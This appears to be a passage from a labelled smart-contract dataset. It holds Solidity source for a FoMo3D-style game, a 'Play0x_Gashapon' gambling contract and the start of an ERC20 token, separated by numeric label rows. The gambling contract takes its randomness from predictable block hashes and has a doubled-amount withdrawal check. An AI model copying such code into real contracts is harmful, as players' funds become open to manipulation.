round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, RP1datasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit RP1events.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.rp1Amount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now - rndGap_;
round_[1].end = now + rndInit_ ;
}
}
library RP1datasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 rp1Amount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 rp1;
}
struct PotSplit {
uint256 gen;
uint256 rp1;
}
}
library RP1KeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface RP1externalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,972 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function transfer(address _to, uint256 _value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Play0x_Gashapon {
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint40;
using SafeMath for uint8;
uint public jackpotSize;
uint public tokenJackpotSize;
uint public MIN_BET;
uint public MAX_BET;
uint public MAX_AMOUNT;
uint public maxProfit;
uint public maxTokenProfit;
uint8 public platformFeePercentage = 15;
uint8 public jackpotFeePercentage = 5;
uint8 public ERC20rewardMultiple = 5;
uint constant BetExpirationBlocks = 250;
uint public lockedInBets;
uint public lockedTokenInBets;
bytes32 bitComparisonMask = 0xF;
address public owner;
address private nextOwner;
address public manager;
address private nextManager;
address public secretSigner;
address public ERC20ContractAddres;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Bet {
uint amount;
uint40 placeBlockNumber;
address gambler;
}
mapping (uint => Bet) public bets;
uint32[] public withdrawalMode = [1,140770,2,75400,3,51600,4,39200,5,30700,6,25900,7,22300,8,19700,9,17200,10,15600,11,14200,12,13300,13,12000,14,11000,15,10400 ];
event PlaceBetLog(address indexed player, uint amount,uint8 rotateTime);
event ToManagerPayment(address indexed beneficiary, uint amount);
event ToManagerFailedPayment(address indexed beneficiary, uint amount);
event ToOwnerPayment(address indexed beneficiary, uint amount);
event ToOwnerFailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event FailedPayment(address indexed beneficiary, uint amount);
event TokenPayment(address indexed beneficiary, uint amount);
event FailedTokenPayment(address indexed beneficiary, uint amount);
event JackpotBouns(address indexed beneficiary, uint amount);
event TokenJackpotBouns(address indexed beneficiary, uint amount);
event BetRelatedData(
address indexed player,
uint playerBetAmount,
uint playerGetAmount,
bytes32 entropy,
bytes32 entropy2,
uint8 Uplimit,
uint8 rotateTime
);
constructor () public {
owner = msg.sender;
manager = DUMMY_ADDRESS;
secretSigner = DUMMY_ADDRESS;
ERC20ContractAddres = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner);
_;
}
modifier onlyManager {
require (msg.sender == manager);
_;
}
modifier onlyOwnerManager {
require (msg.sender == owner || msg.sender == manager);
_;
}
modifier onlySigner {
require (msg.sender == secretSigner);
_;
}
function initialParameter(address _manager,address _secretSigner,address _erc20tokenAddress ,uint _MIN_BET,uint _MAX_BET,uint _maxProfit,uint _maxTokenProfit, uint _MAX_AMOUNT, uint8 _platformFeePercentage,uint8 _jackpotFeePercentage,uint8 _ERC20rewardMultiple)external onlyOwner{
manager = _manager;
secretSigner = _secretSigner;
ERC20ContractAddres = _erc20tokenAddress;
MIN_BET = _MIN_BET;
MAX_BET = _MAX_BET;
maxProfit = _maxProfit;
maxTokenProfit = _maxTokenProfit;
MAX_AMOUNT = _MAX_AMOUNT;
platformFeePercentage = _platformFeePercentage;
jackpotFeePercentage = _jackpotFeePercentage;
ERC20rewardMultiple = _ERC20rewardMultiple;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner);
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner);
owner = nextOwner;
}
function approveNextManager(address _nextManager) external onlyManager {
require (_nextManager != manager);
nextManager = _nextManager;
}
function acceptNextManager() external {
require (msg.sender == nextManager);
manager = nextManager;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setTokenAddress(address _tokenAddress) external onlyManager {
ERC20ContractAddres = _tokenAddress;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT);
maxProfit = _maxProfit;
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance);
uint safetyAmount = jackpotSize.add(lockedInBets).add(withdrawAmount);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= address(this).balance);
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function withdrawToken(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
uint safetyAmount = tokenJackpotSize.add(lockedTokenInBets);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
ERC20(ERC20ContractAddres).transfer(beneficiary, withdrawAmount);
emit TokenPayment(beneficiary, withdrawAmount);
}
function withdrawAllFunds(address beneficiary) external onlyOwner {
if (beneficiary.send(address(this).balance)) {
lockedInBets = 0;
emit Payment(beneficiary, address(this).balance);
} else {
emit FailedPayment(beneficiary, address(this).balance);
}
}
function withdrawAlltokenFunds(address beneficiary) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
lockedTokenInBets = 0;
emit TokenPayment(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
}
function kill() external onlyOwner {
require (lockedInBets == 0);
require (lockedTokenInBets == 0);
selfdestruct(owner);
}
function getContractInformation()public view returns(
uint _jackpotSize,
uint _tokenJackpotSize,
uint _MIN_BET,
uint _MAX_BET,
uint _MAX_AMOUNT,
uint8 _platformFeePercentage,
uint8 _jackpotFeePercentage,
uint _maxProfit,
uint _maxTokenProfit,
uint _lockedInBets,
uint _lockedTokenInBets,
uint32[] _withdrawalMode){
_jackpotSize = jackpotSize;
_tokenJackpotSize = tokenJackpotSize;
_MIN_BET = MIN_BET;
_MAX_BET = MAX_BET;
_MAX_AMOUNT = MAX_AMOUNT;
_platformFeePercentage = platformFeePercentage;
_jackpotFeePercentage = jackpotFeePercentage;
_maxProfit = maxProfit;
_maxTokenProfit = maxTokenProfit;
_lockedInBets = lockedInBets;
_lockedTokenInBets = lockedTokenInBets;
_withdrawalMode = withdrawalMode;
}
function getContractAddress()public view returns(
address _owner,
address _manager,
address _secretSigner,
address _ERC20ContractAddres ){
_owner = owner;
_manager= manager;
_secretSigner = secretSigner;
_ERC20ContractAddres = ERC20ContractAddres;
}
enum PlaceParam {
RotateTime,
possibleWinAmount
}
function placeBet(uint[] placParameter, bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v) external payable {
require (uint8(placParameter[uint8(PlaceParam.RotateTime)]) != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedInBets = lockedInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= msg.value.add(maxProfit));
require (lockedInBets <= address(this).balance);
bet.amount = msg.value;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
emit PlaceBetLog(msg.sender, msg.value, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function placeTokenBet(uint[] placParameter,bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v,uint _amount,address _playerAddress) external {
require (placParameter[uint8(PlaceParam.RotateTime)] != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedTokenInBets = lockedTokenInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= _amount.add(maxTokenProfit));
require (lockedTokenInBets <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
bet.amount = _amount;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = _playerAddress;
emit PlaceBetLog(_playerAddress, _amount, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function getBonusPercentageByMachineMode(uint8 machineMode)public view returns( uint upperLimit,uint maxWithdrawalPercentage ){
uint limitIndex = machineMode.mul(2);
upperLimit = withdrawalMode[limitIndex];
maxWithdrawalPercentage = withdrawalMode[(limitIndex.add(1))];
}
enum SettleParam {
Uplimit,
BonusPercentage,
RotateTime,
CurrencyType,
MachineMode,
PerWinAmount,
PerBetAmount,
PossibleWinAmount,
LuckySeed,
jackpotFee
}
function settleBet(uint[] combinationParameter, uint reveal) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (bet.amount != 0);
require (block.number <= bet.placeBlockNumber.add(BetExpirationBlocks));
bytes32 _entropy = keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
reveal,
blockhash(combinationParameter[uint8(SettleParam.LuckySeed)])
)
)
),
blockhash(block.number)
)
)
),
blockhash(block.timestamp)
)
);
uint totalAmount = 0;
uint totalTokenAmount = 0;
uint totalJackpotWin = 0;
(totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime(combinationParameter,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))));
if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
emit JackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
jackpotSize = uint128(jackpotSize.sub(totalJackpotWin));
}else if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
emit TokenJackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
tokenJackpotSize = uint128(tokenJackpotSize.sub(totalJackpotWin));
}
emit BetRelatedData(bet.gambler,bet.amount,totalAmount,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))),uint8(combinationParameter[uint8(SettleParam.Uplimit)]),uint8(combinationParameter[uint8(SettleParam.RotateTime)]));
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
if (totalAmount != 0){
sendFunds(bet.gambler, totalAmount , totalAmount);
}
if (totalTokenAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalTokenAmount);
emit TokenPayment(bet.gambler, totalTokenAmount);
}
}
}else if(combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
if (totalAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalAmount);
emit TokenPayment(bet.gambler, totalAmount);
}
}
}
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
lockedInBets = lockedInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
} else if (combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
lockedTokenInBets = lockedTokenInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
}
bet.amount = 0;
if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0) {
jackpotSize = jackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}else if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 1) {
tokenJackpotSize = tokenJackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}
}
function runRotateTime ( uint[] combinationParameter, bytes32 _entropy ,bytes32 _entropy2)private view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin) {
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 tmp_entropy;
bytes32 tmp_Mask = resultMask;
bool isGetJackpot = false;
for (uint8 i = 0; i < combinationParameter[uint8(SettleParam.RotateTime)]; i++) {
if (i < 64){
tmp_entropy = _entropy & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*(64 - (i.add(1))));
tmp_Mask = tmp_Mask >> 4;
}else{
if ( i == 64){
tmp_Mask = resultMask;
}
tmp_entropy = _entropy2 & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*( 64 - (i%63)));
tmp_Mask = tmp_Mask >> 4;
}
if ( uint(tmp_entropy) < uint(combinationParameter[uint8(SettleParam.Uplimit)]) ){
totalAmount = totalAmount.add(combinationParameter[uint8(SettleParam.PerWinAmount)]);
uint platformFees = combinationParameter[uint8(SettleParam.PerBetAmount)].mul(platformFeePercentage);
platformFees = platformFees.div(1000);
totalAmount = totalAmount.sub(platformFees);
}else{
if (uint(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
uint rewardAmount = uint(combinationParameter[uint8(SettleParam.PerBetAmount)]).mul(ERC20rewardMultiple);
totalTokenAmount = totalTokenAmount.add(rewardAmount);
}
}
}
if (isGetJackpot == false){
isGetJackpot = getJackpotWinBonus(i,_entropy,_entropy2);
}
}
if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
totalJackpotWin = jackpotSize;
}else if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
totalJackpotWin = tokenJackpotSize;
}
}
function getJackpotWinBonus (uint8 i,bytes32 entropy,bytes32 entropy2) private pure returns (bool isGetJackpot) {
bytes32 one;
bytes32 two;
bytes32 three;
bytes32 four;
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 jackpo_Mask = resultMask;
if (i < 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy & jackpo_Mask) >> (4*(64 - (i + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
else if(i >= 61){
if(i == 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
}
else if(i == 62){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
three = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
four = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
}
else if(i == 63){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
two = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0x00F0000000000000000000000000000000000000000000000000000000000000) >> 4*61;
jackpo_Mask = 0xF000000000000000000000000000000000000000000000000000000000000000;
}
else {
one = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 1)));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 2))) ;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 3))) ;
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy2 & jackpo_Mask) >>(4*( 64 - (i%64 + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
}
if ((one ^ 0xF) == 0 && (two ^ 0xF) == 0 && (three ^ 0xF) == 0 && (four ^ 0xF) == 0){
isGetJackpot = true;
}
}
function getPossibleWinAmount(uint bonusPercentage,uint senderValue)public view returns (uint platformFee,uint jackpotFee,uint possibleWinAmount) {
uint prePlatformFee = (senderValue).mul(platformFeePercentage);
platformFee = (prePlatformFee).div(1000);
uint preJackpotFee = (senderValue).mul(jackpotFeePercentage);
jackpotFee = (preJackpotFee).div(1000);
uint preUserGetAmount = senderValue.mul(bonusPercentage);
possibleWinAmount = preUserGetAmount.div(10000);
}
function refundBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedInBets = lockedInBets.sub(possibleWinAmount);
sendFunds(bet.gambler, amount, amount);
}
function refundTokenBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedTokenInBets = uint128(lockedTokenInBets.sub(possibleWinAmount));
ERC20(ERC20ContractAddres).transfer(bet.gambler, amount);
emit TokenPayment(bet.gambler, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BetExpirationBlocks) {
return;
}
bet.placeBlockNumber = 0;
bet.gambler = address(0);
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
function sendFundsToManager(uint amount) external onlyOwner {
if (manager.send(amount)) {
emit ToManagerPayment(manager, amount);
} else {
emit ToManagerFailedPayment(manager, amount);
}
}
function sendTokenFundsToManager( uint amount) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(manager, amount);
emit TokenPayment(manager, amount);
}
function sendFundsToOwner(address beneficiary, uint amount) external onlyOwner {
if (beneficiary.send(amount)) {
emit ToOwnerPayment(beneficiary, amount);
} else {
emit ToOwnerFailedPayment(beneficiary, amount);
}
}
function updateMIN_BET(uint _uintNumber)public onlyManager {
MIN_BET = _uintNumber;
}
function updateMAX_BET(uint _uintNumber)public onlyManager {
MAX_BET = _uintNumber;
}
function updateMAX_AMOUNT(uint _uintNumber)public onlyManager {
MAX_AMOUNT = _uintNumber;
}
function updateWithdrawalModeByIndex(uint8 _index, uint32 _value) public onlyManager{
withdrawalMode[_index] = _value;
}
function updateWithdrawalMode( uint32[] _withdrawalMode) public onlyManager{
withdrawalMode = _withdrawalMode;
}
function updateBitComparisonMask(bytes32 _newBitComparisonMask ) public onlyOwner{
bitComparisonMask = _newBitComparisonMask;
}
function updatePlatformFeePercentage(uint8 _platformFeePercentage ) public onlyOwner{
platformFeePercentage = _platformFeePercentage;
}
function updateJackpotFeePercentage(uint8 _jackpotFeePercentage ) public onlyOwner{
jackpotFeePercentage = _jackpotFeePercentage;
}
function updateERC20rewardMultiple(uint8 _ERC20rewardMultiple ) public onlyManager{
ERC20rewardMultiple = _ERC20rewardMultiple;
}
} | 0 | 1,233 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
